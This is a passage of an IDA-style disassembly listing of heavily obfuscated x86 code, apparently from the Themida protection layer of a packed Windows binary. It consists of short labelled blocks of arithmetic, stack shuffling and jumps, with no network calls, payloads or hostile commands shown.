; ---------------------------------------------------------------------------
loc_58AECF: ; CODE XREF: sub_584787+83A7j
add ebp, 0B877E0ACh
add esi, ebp
pop ebp
mov ebp, esi
pop esi
shl ebp, 2
push eax
mov eax, 7ED3DCFh
not eax
add eax, 7B3B5FD9h
shl eax, 7
add eax, 0AD348C8h
xor eax, 8BAA3761h
sub ebp, eax
jmp loc_58BB7E
; ---------------------------------------------------------------------------
loc_58AEFF: ; CODE XREF: sub_584787+5A90j
add esp, 4
add ecx, 0A0B65DC5h
xor eax, ecx
pop ecx
sub esp, 4
mov [esp+30h+var_30], edx
mov edx, 5191AE25h
push ecx
jmp loc_58A691
; ---------------------------------------------------------------------------
loc_58AF1C: ; CODE XREF: sub_584787+5E45j
add esi, 20414972h
jmp loc_58A7BC
; ---------------------------------------------------------------------------
loc_58AF27: ; CODE XREF: sub_584787+5748j
pop esi
xor ebx, [esp+3Ch+var_3C]
xor [esp+3Ch+var_3C], ebx
xor ebx, [esp+3Ch+var_3C]
pop esp
mul cx
push small 710h
mov word ptr [esp+3Ah+var_3C+2], dx
push ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58AF45: ; CODE XREF: sub_584787+5CA8j
mov [esp+26h+var_26], esi
mov esi, esp
jmp loc_58F259
; ---------------------------------------------------------------------------
loc_58AF4F: ; CODE XREF: sub_584787+69FCj
pop ebp
jmp loc_5857F1
; ---------------------------------------------------------------------------
loc_58AF55: ; CODE XREF: sub_584787+9091j
add esp, 4
not ebp
xor ebp, 13CA09D1h
inc ebp
xor ebp, 0A509C5C8h
mov ecx, ebp
pop ebp
push ecx
mov ecx, 64FD0CF2h
jmp loc_584989
; ---------------------------------------------------------------------------
loc_58AF78: ; CODE XREF: sub_584787+1ED3j
add esp, 4
push ebp
jmp loc_587E7A
; ---------------------------------------------------------------------------
loc_58AF81: ; CODE XREF: sub_584787+284Fj
pop esp
cmp cx, ax
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58AF8B: ; CODE XREF: sub_584787+47D5j
pop esi
jmp loc_58DAE3
; ---------------------------------------------------------------------------
loc_58AF91: ; CODE XREF: sub_584787+8598j
add ebp, edx
jmp loc_586AD0
; ---------------------------------------------------------------------------
loc_58AF98: ; CODE XREF: sub_584787+BD0Dj
pop ebx
add edi, esi
push 676Fh
mov [esp+46h+var_46], ebx
mov ebx, 748B05C6h
add edi, ebx
pop ebx
pop esi
add edi, 2
xchg edi, [esp]
jmp loc_5859D3
; ---------------------------------------------------------------------------
loc_58AFBA: ; CODE XREF: sub_584787+B4BFj
neg dword ptr [esp+0]
pop eax
sub eax, 0FFFFFFFFh
inc eax
add eax, 0BC81FD08h
push ebp
mov ebp, 71ED512Bh
dec ebp
not ebp
neg ebp
jmp loc_585EDB
; ---------------------------------------------------------------------------
loc_58AFD9: ; CODE XREF: sub_584787+4663j
sub eax, 75F83B8Dh
jmp loc_58F9A2
; ---------------------------------------------------------------------------
loc_58AFE3: ; CODE XREF: sub_584787+9346j
neg edx
xor edx, 45D003Dh
sub edx, 105AA59Eh
jmp loc_58EF32
; ---------------------------------------------------------------------------
loc_58AFF6: ; CODE XREF: sub_584787+8249j
mov edx, ecx
pop ecx
not edx
inc edx
not edx
neg edx
xor edx, 29220014h
jmp loc_58FC6A
; ---------------------------------------------------------------------------
loc_58B00B: ; CODE XREF: sub_584787+5629j
push ecx
mov ecx, 32022059h
sub ebx, ecx
pop ecx
jmp loc_584875
; ---------------------------------------------------------------------------
loc_58B019: ; CODE XREF: sub_584787+8837j
xor eax, 997ACBA0h
sub esi, 5D20528Ch
add esi, eax
add esi, 5D20528Ch
pop eax
push 10BDh
mov [esp+18h+var_18], esi
push [esp+18h+var_18]
mov edi, [esp+1Ch+var_1C]
sub esp, 4
mov [esp+20h+var_20], ebx
push esp
jmp loc_58BBDD
; ---------------------------------------------------------------------------
loc_58B04A: ; CODE XREF: sub_584787+A00Cj
not edx
add edx, 21144F9h
inc edx
xor edx, 6CAC368Ah
mov esi, edx
pop edx
jmp loc_58F853
; ---------------------------------------------------------------------------
loc_58B061: ; CODE XREF: sub_584787+7CDj
push 1480h
mov [esp-4+arg_0], edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp-4+arg_0]
xor [esp-4+arg_0], edi
xor edi, [esp-4+arg_0]
jmp loc_58EB41
; ---------------------------------------------------------------------------
loc_58B085: ; CODE XREF: sub_584787+1E48j
mov [esp-4+arg_0], ecx
mov ecx, 2
add esi, ecx
pop ecx
xor esi, [esp-8+arg_4]
xor [esp-8+arg_4], esi
xor esi, [esp-8+arg_4]
pop esp
shr word ptr [esp-0Ch+arg_8], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58B0A4: ; CODE XREF: sub_584787+F0j
add ebx, 32022059h
jmp loc_58EC38
; ---------------------------------------------------------------------------
loc_58B0AF: ; CODE XREF: sub_584787+A94Fj
movzx cx, al
push cx
pushf
jmp loc_58B2C8
; ---------------------------------------------------------------------------
loc_58B0BB: ; CODE XREF: sub_584787+585Cj
xor bl, dl
add bl, 0F5h
neg bl
jmp loc_58E4C8
; ---------------------------------------------------------------------------
loc_58B0C7: ; CODE XREF: sub_584787+4CD1j
push 52D14C7Ch
pop ecx
or ecx, 438D34A3h
or ecx, 6C0E64FEh
sub ecx, 24E62058h
push ecx
jmp loc_588EAD
; ---------------------------------------------------------------------------
loc_58B0E5: ; CODE XREF: sub_584787+2874j
push 1B78h
mov [esp+0], ebx
mov ebx, 3CE80778h
jmp loc_58AE4E
; ---------------------------------------------------------------------------
loc_58B0F7: ; CODE XREF: sub_584787+94E5j
push small 5A57h
mov dx, word ptr [esp+2+var_4+2]
add esp, 2
push eax
mov ax, dx
push ax
add word ptr [esp+4+var_4], 310Dh
jmp loc_5874D3
; ---------------------------------------------------------------------------
loc_58B116: ; CODE XREF: sub_584787+2C59j
push 21DEh
jmp loc_585221
; ---------------------------------------------------------------------------
loc_58B120: ; CODE XREF: sub_584787+235Aj
sub eax, 3A6D5A0Fh
push esi
mov esi, 0FAD4757h
not esi
jmp loc_586629
; ---------------------------------------------------------------------------
loc_58B132: ; CODE XREF: sub_584787+BAECj
dec bl
jmp loc_58ABCE
; ---------------------------------------------------------------------------
loc_58B139: ; CODE XREF: sub_584787+16D6j
mov bh, byte ptr [esp+10h+var_10]
add esp, 2
push ecx
mov ch, 78h
sub ch, 0CBh
sub ch, 0FDh
jmp loc_58692F
; ---------------------------------------------------------------------------
loc_58B14D: ; CODE XREF: sub_584787+809Ej
mov eax, 4
jmp loc_58C39B
; ---------------------------------------------------------------------------
loc_58B157: ; CODE XREF: sub_584787+3A95j
xchg edi, [esp+0Ch+var_C]
jmp loc_58C4BA
; ---------------------------------------------------------------------------
loc_58B15F: ; CODE XREF: sub_584787+9DB2j
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push [esp+10h+var_C]
mov ecx, [esp+14h+var_14]
add esp, 4
pop [esp+10h+var_10]
jmp loc_58C201
; ---------------------------------------------------------------------------
loc_58B17D: ; CODE XREF: sub_584787+6CE0j
add ecx, 796545DBh
jmp loc_58AF4F
; ---------------------------------------------------------------------------
loc_58B188: ; CODE XREF: sub_584787+7172j
push esi
mov esi, 74A369E9h
sub esi, 669D4A68h
add esi, 0F5B40B9h
jmp loc_58D48E
; ---------------------------------------------------------------------------
loc_58B19F: ; CODE XREF: sub_584787+657Fj
pop ecx
jmp loc_5872B2
; ---------------------------------------------------------------------------
loc_58B1A5: ; CODE XREF: sub_584787+853Fj
push ebx
jmp loc_585173
; ---------------------------------------------------------------------------
loc_58B1AB: ; CODE XREF: sub_584787+B53Cj
push edx
jmp loc_58BBAD
; ---------------------------------------------------------------------------
loc_58B1B1: ; CODE XREF: sub_584787+1521j
add ebx, ecx
add ebx, 3BE6FDEh
jmp loc_58B76C
; ---------------------------------------------------------------------------
loc_58B1BE: ; CODE XREF: sub_584787+BA34j
not esi
dec esi
jmp loc_586B0A
; ---------------------------------------------------------------------------
loc_58B1C6: ; CODE XREF: sub_584787+F3Fj
add esi, 4
xor esi, [esp+34h+var_34]
xor [esp+34h+var_34], esi
xor esi, [esp+34h+var_34]
pop esp
add ebp, 2
xor ebp, [esp+30h+var_30]
xor [esp+30h+var_30], ebp
xor ebp, [esp+30h+var_30]
mov esp, [esp+30h+var_30]
mov ax, word ptr [esp+30h+var_30]
push 618Fh
mov [esp+34h+var_34], ecx
push esp
mov ecx, [esp+38h+var_38]
add esp, 4
add ecx, 4
push ecx
mov ecx, esp
jmp loc_586953
; ---------------------------------------------------------------------------
loc_58B209: ; CODE XREF: sub_584787+429Aj
mov ebx, [esp+2Eh+var_30+2]
add esp, 4
xchg dh, ch
xor byte ptr [esp+2Ah+var_2C+2], ch
jmp loc_58F63C
; ---------------------------------------------------------------------------
loc_58B21C: ; CODE XREF: sub_584787+6BDj
xchg al, ch
xchg ch, bh
mov cl, bh
jmp loc_58812D
; ---------------------------------------------------------------------------
loc_58B227: ; CODE XREF: sub_584787+9AE8j
push ecx
push 61A3h
jmp loc_58A283
; ---------------------------------------------------------------------------
loc_58B232: ; CODE XREF: sub_584787+177Ej
sub edx, ecx
pop ecx
jmp loc_58FED3
; ---------------------------------------------------------------------------
loc_58B23A: ; CODE XREF: sub_584787+905j
add edi, 443214DBh
jmp loc_58F5C1
; ---------------------------------------------------------------------------
loc_58B245: ; CODE XREF: sub_584787+7DC4j
mov ecx, 408647A6h
dec ecx
sub ecx, 0C3A2E4D3h
xor edx, ecx
jmp loc_58EE7E
; ---------------------------------------------------------------------------
loc_58B258: ; CODE XREF: sub_584787+ADEj
mov ebx, esp
add ebx, 4
push 17FAh
mov [esp+0], ecx
mov ecx, 4
add ebx, 4F933AE0h
add ebx, ecx
jmp loc_584EB5
; ---------------------------------------------------------------------------
loc_58B27A: ; CODE XREF: sub_584787+CB8j
shr ecx, 8
add ecx, 7E739D12h
jmp loc_589027
; ---------------------------------------------------------------------------
loc_58B288: ; CODE XREF: sub_584787+A9DAj
mov [esp+10h+var_10], ebx
mov bh, 0EFh
mov dh, 91h
jmp loc_58D7FE
; ---------------------------------------------------------------------------
loc_58B294: ; CODE XREF: sub_584787+485j
add esp, 4
xor bl, al
push 7DF5h
jmp loc_58B382
; ---------------------------------------------------------------------------
loc_58B2A3: ; CODE XREF: sub_584787+9B2Aj
pop ebx
add esp, 4
push edx
jmp loc_589AFC
; ---------------------------------------------------------------------------
loc_58B2B0: ; CODE XREF: sub_584787+813Fj
dec esi
neg esi
sub esi, 0DB0A273Ch
jmp loc_58A479
; ---------------------------------------------------------------------------
loc_58B2BE: ; CODE XREF: sub_584787+AF65j
mov [esp-0Ch+arg_8], edx
mov edx, esp
jmp loc_58F48A
; ---------------------------------------------------------------------------
loc_58B2C8: ; CODE XREF: sub_584787+692Fj
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58B2CD: ; CODE XREF: sub_584787+8771j
mov ecx, [esp+0]
jmp loc_5902FA
; ---------------------------------------------------------------------------
loc_58B2D5: ; CODE XREF: sub_584787+15EBj
or ecx, ebp
pop ebp
sub ecx, 3D5F4B9Dh
mov edx, ecx
pop ecx
add ebx, 36554A9Eh
add ebx, edx
sub ebx, 36554A9Eh
jmp loc_58F50A
; ---------------------------------------------------------------------------
loc_58B2F4: ; CODE XREF: sub_584787+7353j
mov edx, 2
sub esp, 4
mov [esp-0Ch+arg_8], ecx
push ebp
mov ebp, 6DB30435h
jmp loc_58F6F9
; ---------------------------------------------------------------------------
loc_58B30A: ; CODE XREF: sub_584787+8F94j
push 58796ADBh
pop ebp
sub ebp, 0F0D1F4C8h
mov eax, ebp
mov ebp, [esp-8+arg_4]
add esp, 4
add eax, 2F490B76h
neg eax
shr eax, 2
add eax, 9087AA2h
push edx
mov edx, 1BB95A5Bh
and edx, 314A2063h
and edx, 517677FEh
push ebx
mov ebx, 4ADB5C16h
and ebx, 15EE0BF2h
shl ebx, 8
shr ebx, 4
sub ebx, 0C70DC729h
xor edx, ebx
pop ebx
sub eax, 258753BFh
add eax, edx
add eax, 258753BFh
pop edx
jmp loc_588474
; ---------------------------------------------------------------------------
loc_58B36F: ; CODE XREF: sub_584787+440Dj
mov edx, [esp+18h+var_18]
add esp, 4
jmp loc_58AC80
; ---------------------------------------------------------------------------
loc_58B37A: ; CODE XREF: sub_584787+2344j
mov edx, [esp+1Eh+var_20+2]
jmp loc_585AE2
; ---------------------------------------------------------------------------
loc_58B382: ; CODE XREF: sub_584787+6B17j
mov [esp-8+arg_4], ebx
push 7FFCh
mov [esp-4+arg_0], edi
jmp loc_58DFA3
; ---------------------------------------------------------------------------
loc_58B392: ; CODE XREF: sub_584787+B917j
mov [esp-4+arg_0], ecx
push 43460CE1h
jmp loc_58FFF7
; ---------------------------------------------------------------------------
loc_58B39F: ; CODE XREF: sub_584787+8F74j
push eax
push ebx
jmp loc_58A7E1
; ---------------------------------------------------------------------------
loc_58B3A6: ; CODE XREF: sub_584787+78ECj
mov ecx, esi
pop esi
add esi, ecx
mov ecx, [esp+4+var_4]
jmp loc_5865B7
; ---------------------------------------------------------------------------
loc_58B3B3: ; CODE XREF: sub_584787+6317j
sub ebx, 4
xchg ebx, [esp-0Ch+arg_8]
pop esp
jmp loc_58ECD1
; ---------------------------------------------------------------------------
loc_58B3C2: ; CODE XREF: sub_584787+AA65j
sub esi, 65E01A45h
add esi, 51202FAFh
sub esi, 0CCF05F0h
jmp loc_58579D
; ---------------------------------------------------------------------------
loc_58B3D9: ; CODE XREF: sub_584787+4077j
mov esi, [esp+0Ah+var_C+2]
jmp loc_586FE4
; ---------------------------------------------------------------------------
loc_58B3E1: ; CODE XREF: sub_584787+644Bj
dec dl
xor bl, dl
jmp loc_589FE1
; ---------------------------------------------------------------------------
loc_58B3EA: ; CODE XREF: sub_584787+7E51j
mov ebx, [esp+44h+var_46+2]
add esp, 4
inc dh
shl dh, 7
jmp loc_5890A5
; ---------------------------------------------------------------------------
loc_58B3FD: ; CODE XREF: sub_584787+4F9j
push 1F9Eh
mov [esp+4+var_4], ecx
push 1A6Ah
mov [esp+8+var_8], ebp
mov ebp, 5FF5C3Ah
push 0FA00A3C5h
jmp loc_58BB53
; ---------------------------------------------------------------------------
loc_58B41C: ; CODE XREF: sub_584787+1467j
mov [esp+10h+var_10], edx
push edi
mov edi, 7E3737F0h
push esi
mov esi, 248571DEh
jmp loc_58D075
; ---------------------------------------------------------------------------
loc_58B430: ; CODE XREF: sub_584787+260Fj
add esp, 4
push ebx
mov ebx, 3A134959h
push eax
jmp loc_5898AB
; ---------------------------------------------------------------------------
loc_58B43F: ; CODE XREF: sub_584787+1148j
push 712Bh
mov [esp+0], eax
mov eax, esp
push ebx
mov ebx, 4
add eax, ebx
jmp loc_585219
; ---------------------------------------------------------------------------
loc_58B456: ; CODE XREF: sub_584787+6ED5j
xor ebx, 0D7BF42BEh
add ebp, ebx
pop ebx
sub ecx, 796545DBh
add ecx, ebp
jmp loc_58B17D
; ---------------------------------------------------------------------------
loc_58B46C: ; CODE XREF: sub_584787+A8A0j
mov ecx, 35B12CC6h
add ebp, ecx
pop ecx
pop edx
xchg ebp, [esp+1Ah+var_1C+2]
jmp loc_58EB50
; ---------------------------------------------------------------------------
loc_58B47D: ; CODE XREF: sub_584787+2E72j
add eax, edi
sub eax, 5D88593Ch
push ecx
mov cl, bh
mov [eax], cl
jmp loc_58E9D7
; ---------------------------------------------------------------------------
loc_58B48E: ; CODE XREF: sub_58FF63+Bj
mov ecx, 8CA8959Ch
add ebp, ecx
pop ecx
jmp loc_58E478
; ---------------------------------------------------------------------------
loc_58B49B: ; CODE XREF: sub_584787+EBFj
shr edi, 8
shl edi, 3
jmp loc_58C1B3
; ---------------------------------------------------------------------------
loc_58B4A6: ; CODE XREF: sub_584787+9ABAj
add ebx, edi
pop edi
add edx, ebx
push [esp-14h+arg_E+2]
pop ebx
add esp, 4
sub esp, 4
mov [esp-14h+arg_E+2], edx
push [esp-14h+arg_12+2]
mov edx, [esp+0]
add esp, 4
pop [esp-14h+arg_E+2]
pop esp
jmp loc_58665F
; ---------------------------------------------------------------------------
loc_58B4D1: ; CODE XREF: sub_584787+40FCj
; DATA XREF: Themida_:00584190o
push dword ptr [edi+1Ch]
push [esp-14h+arg_E+2]
push dword ptr [esp+0]
pop eax
push edx
jmp loc_584DBD
; ---------------------------------------------------------------------------
loc_58B4E1: ; CODE XREF: sub_584787+8DDCj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp-8+arg_4]
pop esp
push edx
mov edx, 0DFE1023h
xor edx, 0DFE1027h
add eax, 111372F9h
add eax, edx
sub eax, 111372F9h
jmp loc_58FBBD
; ---------------------------------------------------------------------------
loc_58B511: ; CODE XREF: sub_584787+B14j
push 671Fh
mov [esp+4Eh+var_4E], ebp
mov ebp, esp
push ebx
mov ebx, 20063E56h
jmp loc_58DC8E
; ---------------------------------------------------------------------------
loc_58B526: ; CODE XREF: sub_584787+B2E5j
mov edx, 69D056Fh
add edx, 4B3F6D0Bh
add edx, 167C3BA3h
xor edx, 7BDC3DD0h
jmp loc_5887CA
; ---------------------------------------------------------------------------
loc_58B542: ; CODE XREF: sub_584787+9BE3j
pop esi
xor esi, 112C141Fh
mov ecx, esi
jmp loc_58B9D5
; ---------------------------------------------------------------------------
loc_58B550: ; CODE XREF: sub_584787+2602j
xor ecx, 0FF01A46Bh
push eax
push ebx
mov ebx, 339A2E09h
not ebx
inc ebx
or ebx, 8B52B31h
xor ebx, 0CCF5FBCFh
push ebp
mov ebp, ebx
mov eax, ebp
pop ebp
pop ebx
add eax, edx
push ecx
xor [esp+26h+var_26], 935039Ch
jmp loc_588B7F
; ---------------------------------------------------------------------------
loc_58B582: ; CODE XREF: sub_584787+95CCj
add esp, 4
push ebp
jmp loc_585D61
; ---------------------------------------------------------------------------
loc_58B58B: ; CODE XREF: sub_584787+5FCFj
sub esp, 4
mov [esp+4+var_4], ecx
push 505D01B9h
pop ecx
jmp loc_58BBF9
; ---------------------------------------------------------------------------
loc_58B59F: ; CODE XREF: sub_584787+4085j
mov esp, [esp+0Ah+var_C+2]
mov [esp+0Ah+var_C+2], edx
push eax
pushf
jmp loc_58E5BE
; ---------------------------------------------------------------------------
loc_58B5AC: ; CODE XREF: sub_584787+7B8j
pop esp
sub esp, 4
jmp loc_587E15
; ---------------------------------------------------------------------------
loc_58B5B8: ; CODE XREF: sub_584787+39A7j
xchg cl, dh
shl dh, 1
push eax
mov al, 91h
or al, 3Ah
shl al, 3
xor al, 6
jmp loc_5860AB
; ---------------------------------------------------------------------------
loc_58B5CB: ; CODE XREF: sub_584787+B258j
mov edi, 4
jmp loc_58612D
; ---------------------------------------------------------------------------
loc_58B5D5: ; CODE XREF: sub_584787+2A55j
mov ebx, 41653DD8h
not ebx
add ebx, 62B4A44Dh
sub esi, 46CD7BF6h
jmp loc_5861FB
; ---------------------------------------------------------------------------
loc_58B5ED: ; DATA XREF: Themida_:005843B4o
mov cx, word ptr [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+0Ch+var_C]
jmp loc_58E870
; ---------------------------------------------------------------------------
loc_58B610: ; CODE XREF: sub_584787+2FF4j
push ebp
mov ebp, 723965A8h
jmp loc_58453C
; ---------------------------------------------------------------------------
loc_58B61B: ; CODE XREF: sub_584787+8D3Ej
pop esp
push ebp
push 4E0Dh
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop ebp
add ebp, 4
push eax
mov eax, 5F1C3E60h
not eax
xor eax, 2BE05E46h
xor eax, 2A513A27h
sub eax, 0A152A5FAh
add ebp, eax
pop eax
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
add [esp+4+var_4], eax
pushf
jmp loc_58A018
; ---------------------------------------------------------------------------
loc_58B659: ; CODE XREF: sub_584787+48D3j
sub ebx, ecx
pop ecx
jmp loc_58B456
; ---------------------------------------------------------------------------
loc_58B661: ; CODE XREF: sub_584787+338Dj
add edx, ebp
pop ebp
add edx, eax
sub edx, 85D6F14h
push 5007h
mov [esp+1Ch+var_1C], ecx
mov ecx, 2D027164h
jmp loc_58DCCA
; ---------------------------------------------------------------------------
loc_58B67E: ; DATA XREF: Themida_:00584424o
mov cx, word ptr [esp+1Ch+var_1C]
push edi
push esp
mov edi, [esp+24h+var_26+2]
push eax
mov eax, esp
push edi
mov edi, 4
add eax, edi
pop edi
add eax, 4
push eax
jmp loc_5875AC
; ---------------------------------------------------------------------------
loc_58B69E: ; CODE XREF: sub_584787+383j
xor ecx, [esp+14h+var_14]
mov esp, [esp+14h+var_14]
push 58E7h
mov [esp+18h+var_18], ebp
push esi
mov esi, 39800E26h
sub esi, 397F8E26h
jmp loc_585ADB
; ---------------------------------------------------------------------------
loc_58B6BD: ; CODE XREF: sub_584787+2644j
xor al, cl
jmp loc_589BE7
; ---------------------------------------------------------------------------
loc_58B6C4: ; CODE XREF: sub_584787+A95j
mov ecx, 6BED4844h
jmp loc_585203
; ---------------------------------------------------------------------------
loc_58B6CE: ; CODE XREF: sub_584787+3F02j
pop ecx
add al, bl
mov ebx, [esp+26h+var_26]
jmp loc_58D442
; ---------------------------------------------------------------------------
loc_58B6D9: ; DATA XREF: Themida_:00584284o
lodsb
xor al, bl
push 7187h
mov [esp+2Ah+var_2C+2], edx
jmp loc_58BCAD
; ---------------------------------------------------------------------------
loc_58B6E9: ; CODE XREF: sub_584787+885Fj
mov esp, [esp+2Ah+var_2C+2]
test cl, al
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58B6F4: ; CODE XREF: sub_584787+7521j
xchg esi, [esp+2Eh+var_30+2]
jmp loc_58C10A
; ---------------------------------------------------------------------------
loc_58B6FC: ; CODE XREF: sub_584787+5D84j
sub ebp, 0E4162131h
jmp loc_58FC97
; ---------------------------------------------------------------------------
loc_58B707: ; CODE XREF: sub_584787+612Fj
sub ebx, ebp
jmp loc_58BDC3
; ---------------------------------------------------------------------------
loc_58B70E: ; CODE XREF: sub_584787+70D5j
mov ecx, 6D6E3C0Dh
jmp loc_5867B0
; ---------------------------------------------------------------------------
loc_58B718: ; CODE XREF: sub_584787+A820j
push edx
mov edx, 5D6D0DCAh
and edi, edx
pop edx
sub edi, 809040Ah
mov eax, edi
mov edi, [esp+38h+var_38]
jmp loc_58A82D
; ---------------------------------------------------------------------------
loc_58B731: ; CODE XREF: sub_584787+51D1j
mov [esp], ecx
mov ecx, 4
add [esp-10h+arg_E+2], ecx
pop ecx
pop edi
add edi, 4
push 585Bh
jmp loc_587F00
; ---------------------------------------------------------------------------
loc_58B74F: ; CODE XREF: sub_584787+3400j
add edx, 2
xchg edx, [esp+1Ah+var_1C+2]
mov esp, [esp+1Ah+var_1C+2]
rol [esp+1Ah+var_1C+2], cl
pushf
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58B764: ; DATA XREF: Themida_:005843B0o
mov eax, [esp+1Eh+var_20+2]
jmp loc_58982F
; ---------------------------------------------------------------------------
loc_58B76C: ; CODE XREF: sub_584787+6A32j
pop ecx
jmp loc_58ED35
; ---------------------------------------------------------------------------
loc_58B772: ; CODE XREF: sub_584787+1818j
sub esp, 4
mov [esp+4+var_4], edx
mov dh, 9
shl dh, 6
shl dh, 7
inc dh
xor dh, 0B4h
and dh, 0CBh
xor dh, 0AEh
xor bl, dh
jmp loc_5902E1
; ---------------------------------------------------------------------------
loc_58B792: ; DATA XREF: Themida_:005842B8o
lodsw
push small 4BEh
mov word ptr [esp+6+var_8+2], cx
mov cx, 7740h
add ax, cx
pop cx
jmp loc_585290
; ---------------------------------------------------------------------------
loc_58B7AA: ; CODE XREF: sub_584787+623Cj
push edi
jmp loc_58E6F3
; ---------------------------------------------------------------------------
loc_58B7B0: ; DATA XREF: Themida_:00584400o
push dword ptr [edi+2Ch]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58B7B8: ; CODE XREF: sub_584787+64FBj
pop ebx
pop eax
pop ebx
mov [edi+eax*4], cl
mov ecx, [esp+2+var_4+2]
add esp, 4
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58B7CC: ; CODE XREF: sub_584787+92A5j
push edi
jmp loc_58D4D6
; ---------------------------------------------------------------------------
loc_58B7D2: ; CODE XREF: sub_584787+642Ej
neg edi
sub edi, 0FB57E80Ah
add ecx, edi
jmp loc_58BC87
; ---------------------------------------------------------------------------
loc_58B7E1: ; CODE XREF: sub_584787+32F3j
add esi, 29663725h
sub esi, ebp
sub esi, 29663725h
mov ebp, [esp-6+arg_0+2]
push ebp
jmp loc_58FBCF
; ---------------------------------------------------------------------------
loc_58B7F8: ; CODE XREF: sub_584787+1F64j
pop edi
add edx, 2
xchg edx, [esp+0]
mov esp, [esp+0]
xor bl, al
jmp loc_5870DA
; ---------------------------------------------------------------------------
loc_58B80C: ; CODE XREF: sub_584787+83BCj
add edx, 4A546E0Eh
mov ebp, [esp+0]
add esp, 4
push ecx
mov ecx, 4
add edx, ecx
pop ecx
xchg edx, [esp-14h+arg_E+2]
jmp loc_58E2F0
; ---------------------------------------------------------------------------
loc_58B829: ; CODE XREF: sub_584787+38F9j
pop dword ptr [esp+0]
jmp loc_587C79
; ---------------------------------------------------------------------------
loc_58B831: ; CODE XREF: sub_584787+D02j
pop ecx
mov eax, [esp+0]
jmp loc_5891FE
; ---------------------------------------------------------------------------
loc_58B83A: ; CODE XREF: sub_584787+8340j
add [esp+28h+var_20], 70C4131Fh
sub [esp+28h+var_20], ebp
sub [esp+28h+var_20], 70C4131Fh
pop ebp
sub [esp+24h+var_20], 6D6E3C0Dh
add [esp+24h+var_20], ebp
push ecx
jmp loc_58B70E
; ---------------------------------------------------------------------------
loc_58B861: ; CODE XREF: sub_584787+3C14j
push eax
mov ecx, [esp+24h+var_26+2]
add esp, 4
jmp loc_58E187
; ---------------------------------------------------------------------------
loc_58B870: ; CODE XREF: sub_584787+53F2j
mov esi, ecx
pop ecx
add [esp+6+var_4+2], 2B395AD7h
sub [esp+6+var_4+2], esi
jmp loc_58A75B
; ---------------------------------------------------------------------------
loc_58B884: ; CODE XREF: sub_584787+4059j
push [esp+0Ah+var_C+2]
mov eax, [esp+0Eh+var_10+2]
add esp, 4
push 4739h
jmp loc_58CEFD
; ---------------------------------------------------------------------------
loc_58B89A: ; CODE XREF: sub_584787+9B35j
xor ecx, 7804459Bh
xor ecx, 85FA9D50h
add ebx, ecx
pop ecx
add edi, 49AE2386h
jmp loc_58548E
; ---------------------------------------------------------------------------
push [esp+0Ah+var_C+2]
mov ecx, [esp+0Eh+var_10+2]
push edi
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_5898E6
; ---------------------------------------------------------------------------
loc_58B8CE: ; DATA XREF: Themida_:005842C8o
mov eax, [esp+12h+var_14+2]
jmp loc_58A9C8
; ---------------------------------------------------------------------------
loc_58B8D6: ; CODE XREF: sub_584787+7A55j
add ebx, eax
sub ebx, 154E17D4h
jmp loc_58C159
; ---------------------------------------------------------------------------
loc_58B8E3: ; CODE XREF: sub_584787+17FBj
push ebx
mov ebx, 5E535EDEh
jmp loc_58BC56
; ---------------------------------------------------------------------------
loc_58B8EE: ; CODE XREF: sub_584787+A31Aj
add eax, 4DEE635Fh
dec eax
push eax
not [esp+8+var_8]
pop eax
jmp loc_58B188
; ---------------------------------------------------------------------------
loc_58B8FE: ; CODE XREF: sub_584787+4A1j
shl byte ptr [esp-0Ch+arg_8], cl
pushf
jmp loc_5850E9
; ---------------------------------------------------------------------------
loc_58B907: ; CODE XREF: sub_584787+8276j
or eax, eax
jz loc_58FED3
push dword ptr [edi+28h]
jmp loc_58E7BF
; ---------------------------------------------------------------------------
loc_58B917: ; CODE XREF: sub_584787+64CCj
sub byte ptr [esp+18h+var_18], bh
mov bh, byte ptr [esp+18h+var_18]
jmp loc_589674
; ---------------------------------------------------------------------------
loc_58B922: ; CODE XREF: sub_584787+2E4Dj
add eax, 0D5F950FCh
add ebp, eax
jmp loc_58D518
; ---------------------------------------------------------------------------
loc_58B92E: ; CODE XREF: sub_584787+CE1j
add edi, ebx
pop ebx
push eax
mov eax, 4
jmp loc_58786D
; ---------------------------------------------------------------------------
loc_58B93C: ; CODE XREF: sub_584787+A8C0j
mov cl, 0E4h
add cl, ah
pop eax
shr cl, 8
push edx
mov dl, 80h
push eax
mov ah, 0B1h
add dl, ah
pop eax
and cl, dl
mov edx, [esp+1Ch+var_1C]
add esp, 4
sub cl, 0BAh
push ebx
push eax
jmp loc_588555
; ---------------------------------------------------------------------------
loc_58B962: ; CODE XREF: sub_584787+BD7Cj
push [esp+20h+var_20]
pop ecx
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
jmp loc_5872C5
; ---------------------------------------------------------------------------
loc_58B977: ; CODE XREF: sub_584787+52DBj
xchg ebx, [esp]
mov esp, [esp]
sub esp, 4
mov [esp-0Ch+arg_8], esi
push 5616h
mov [esp-8+arg_4], esp
add [esp-8+arg_4], 4
jmp loc_588C3B
; ---------------------------------------------------------------------------
loc_58B997: ; CODE XREF: sub_584787+4B02j
mov esi, 39A66459h
neg esi
xor esi, 5CE371C0h
inc esi
not esi
jmp loc_58D897
; ---------------------------------------------------------------------------
loc_58B9AC: ; CODE XREF: sub_584787+23A9j
pop eax
add ebx, edi
jmp loc_5861D2
; ---------------------------------------------------------------------------
loc_58B9B4: ; CODE XREF: sub_584787+F7Aj
mov [esp+18h+var_18], ebx
push [esp+18h+var_18]
mov eax, [esp+1Ch+var_1C]
add esp, 4
jmp loc_586C75
; ---------------------------------------------------------------------------
loc_58B9C8: ; CODE XREF: sub_584787+1247j
xor edi, [esp-18h+arg_12+2]
pop esp
test cx, ax
pushf
jmp loc_584473
